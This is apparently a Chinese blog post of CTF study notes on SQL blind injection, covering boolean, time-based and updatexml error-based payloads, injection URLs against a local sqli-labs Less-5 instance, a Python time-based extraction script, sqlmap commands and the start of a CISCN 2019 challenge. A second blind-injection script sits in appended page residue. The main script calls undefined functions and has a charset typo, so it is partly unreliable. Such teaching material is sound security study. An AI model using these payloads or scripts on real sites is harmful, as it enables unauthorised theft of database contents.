SQL盲注及python脚本编写

1、什么是盲注

盲注就是在 sql 注入过程中,sql 语句执行的选择后,选择的数据不能回显 到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。从 background-1 中,我们可以知道盲注分为三类

  • 基于布尔 SQL 盲注

  • 基于时间的 SQL 盲注

  • 基于报错的 SQL 盲注

0x01.基于布尔 SQL 盲注----------构造逻辑判断

left() :left(a,b)从左侧截取 a 的前 b 位

accii():Ascii()将某个字符转换 为 ascii

substr():substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。

ord():Ord()函数同 ascii(),将字符转为 ascii 值

mid():mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位

正则注入:http://www.cnblogs.com/lcamry/articles/5717442.html

like 匹配注:

0x02.基于时间的 SQL 盲注

If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判断语句,条件为假, 执行 sleep,通过响应的时间判断

0x03.基于报错的 SQL 盲注

报错注入有很多种方法,简单介绍一种,其他另行参考文章:

https://www.cnblogs.com/wocalieshenmegui/p/5917967.html

报错注入实例:

1.select * from news where id=-1 union select updatexml(1,concat(0x7e,database(),0x7e),1)
得到数据库为sqli
其他均相同:
数据库版本:
10.3.22-MariaDB-0+deb10u1
用户:
root@localhost
操作系统:
debian-linux-gnu
2,查询数据库的表
select * from news where id=-1 union select updatexml(1,concat(0x7e,(select (group_concat(table_name)) from information_schema.tables where table_schema='sqli'),0x7e),1)
得到news,flag
查询列
select * from news where id=-1 union select updatexml(1,concat(0x7e,(select (group_concat(column_name))from information_schema.columns where table_name='flag') ,0x7e),1)
得到flag
select * from news where id=-1 union select updatexml(1,concat(0x7e,(select (group_concat(flag)) from sqli.flag),0x7e),1)

由于回现字符数量限制,-1 union select updatexml(1,concat(0x7e, right((select(group_concat(flag)) from sqli.flag) ,31),0x7e),1);

一、updatexml函数

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称。

第二个参数:XPath_string (Xpath格式的字符串) 。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值。

由于updatexml的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。

  • contact函数用于将多个字符串连接成一个字符串,是最重要的mysql函数之一
  • right(str, num):字符串从右开始截取num个字符
  • left(str,num):字符串从左开始截取num个字符
  • substr(str,N,M): 字符串从第N个字符开始,截取M个字符

2、sqllib less-5

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jIpfnfYd-1652880143244)(D:\我的\CTF学习\web安全笔记\SQL盲注.assets\image-20220518194012886.png)]

1、left()

可以看出不显示结果,构造:

数据库的版本:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and left(version(),1)=5 --+

数据库长度:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and length(database())=8 --+

猜测数据库第一位:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and left(database(),1)>'h' --+

可以使用二分法来提高效率;

2、利用 substr() ascii()函数进行测试

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+
获取第一个字符 e 对应的为 101
第二个 substr(**,2,1) 即可
此处 table_schema 可以写成 =’security’,但是我们这里使用的 database(),是因
为此处 database()就是 security。此处同样的使用二分法进行测试,直到测试正确为止。
此处应该是 101,因为第一个表示 email。

这里可以看到我们上述的语句中使用的 limit 0,1. 意思就是从第 0 个开始,获取第一个。那 要获取第二个是不是就是 limit 1,1。

然后一直测试。当然不能靠手猜了,可以python解决和sqlmap注入工具。

3、python手写版本

import requests
import time
#以第五关为例
def get_database():
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
    chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-='
    database = ''
    length=0
    for l in range(1,20):
        Url = 'http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27 and if(length(database())>{0},1,sleep(3))--+'
        UrlFormat = Url.format(l)      #format()函数使用
        start_time0 = time.time()  		#发送请求前的时间赋值
        requests.get(UrlFormat,headers=headers)
        if  time.time() - start_time0 > 2:	#判断正确的数据库长度
                print('database length is ' + str(l))
                length = l
                break
        else:
            pass
    for i in range(1,length+1):
        for char in chars:
            charAscii = ord(char) #char转换为ascii
            url = 'http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27and if(ascii(substr(database(),{0},1))>{1},1,sleep(3))--+'
            urlformat = url.format(i,charAscii)
            start_time = time.time()
            requests.get(urlformat,headers=headers)
            if  time.time() - start_time > 2:
                database+=char
                print('database: ',database)
                break
            else:
                pass
    print('database is ' + database)
def get_dbtables():
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
    chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-='
    for j in range(0,4):
        database = ''
        length = 0
        for l in range(1, 20):
            Url = 'http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27 and if(length((select table_name from information_schema.tables where table_schema=database() limit {0},1))>{1},1,sleep(3))--+'
            UrlFormat = Url.format(j,l)  # format()函数使用
            start_time0 = time.time()  # 发送请求前的时间赋值
            requests.get(UrlFormat, headers=headers)
            if time.time() - start_time0 > 2:  # 判断正确的数据库长度
                print('table length is ' + str(l))
                length = l
                break
            else:
                pass

        for i in range(1, length + 1):
            for char in chars:
                charAscii = ord(char)  # char转换为ascii
                url = 'http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1))>{2},1,sleep(3))--+'
                urlformat = url.format(j,i, charAscii)
                start_time = time.time()
                requests.get(urlformat, headers=headers)
                if time.time() - start_time > 2:
                    database += char
                    print('第'+str(j)+'个表:')
                    print('database: ', database)
                    break
                else:
                    pass
        print('第'+str(j)+'个表:'''+'database is ' + database)


if __name__ == '__main__':
    get_database() #获取数据库名
    get_dbtables() #获取表名
    get_column() #获取列名
    get_column_content() #获取列的内容

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KuNXdb4M-1652880143246)(D:\我的\CTF学习\web安全笔记\SQL盲注.assets\image-20220518210556573.png)]

数据库名获取正确:

在这里插入图片描述

在这里插入图片描述

表明获取正确
在这里插入图片描述

列名:select column_name from information_schema.columns where table_name='users' limit 0,1
跟爆表明一样
表内容:
select 列名 from 数据库.表名
只需要稍微改动上面的代码即可

4、sqlmap注入工具

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-5/?id=1" --current-db
#默认是当前数据库
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" --tables
#查询目标主机information_schema的表信息
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" -D "information_schema"  --tables
#默认是当前数据库
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" --tables

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TMLM8xvc-1652880143247)(D:\我的\CTF学习\web安全笔记\SQL盲注.assets\image-20220518211533824.png)]

只是简单的工具的使用,具体可以参考这篇文章:

https://blog.csdn.net/weixin_46962006/article/details/121307150

三、CISCN2019 华北赛区 Day2 Web1]Hack World

在这里插入图片描述
扫描的前期工作就不赘述了,直接开始正题:
我们输入,1,2,发现回显正常,3,-1啥的都回显这个:
在这里插入图片描述
测试是否存在SQL注入:

1' and 1=1 #

在这里插入图片描述
这必然有漏洞,尝试了很多发现if(1=1,1,2)和0^1可以使用:

if(1=1,1,2)返回的是1 判断
0^1返回的也是1 异或

在这里插入图片描述
编写脚本爆信息:


  • 8
    点赞
  • 35
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
SQL注入是一种常见的安全漏洞,它允许攻击者通过在应用程序的输入字段中插入恶意的SQL代码来执行未经授权的操作。而盲注是一种特殊类型的SQL注入攻击,攻击者无法直接获取数据库的具体信息,但可以通过不断尝试不同的条件来判断是否存在漏洞。 下面是一个使用Python编写的简单SQL注入盲注脚本的示例: ```python import requests def check_vulnerable(url): payload = "' OR 1=1 --" response = requests.get(url + "?id=" + payload) if "Welcome" in response.text: return True else: return False def exploit_blind(url): result = "" characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" while True: found = False for char in characters: payload = "' OR SUBSTRING((SELECT database()), 1, 1) = '" + char + "' --" response = requests.get(url + "?id=" + payload) if "Welcome" in response.text: result += char found = True break if not found: break return result # 示例使用方法 url = "http://example.com/vulnerable_page" if check_vulnerable(url): database_name = exploit_blind(url) print("数据库名称:", database_name) else: print("目标网站不易受SQL注入攻击") ``` 上述脚本中,`check_vulnerable`函数用于检测目标网站是否易受SQL注入攻击,它通过在URL中插入特定的payload来判断是否存在漏洞。`exploit_blind`函数用于利用盲注漏洞获取数据库名称,它通过不断尝试不同的字符来逐个获取数据库名称的每个字符。 请注意,上述脚本仅为示例,实际使用时需要根据具体情况进行修改和扩展,同时要遵循法律和道德规范,仅在合法授权的范围内使用。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值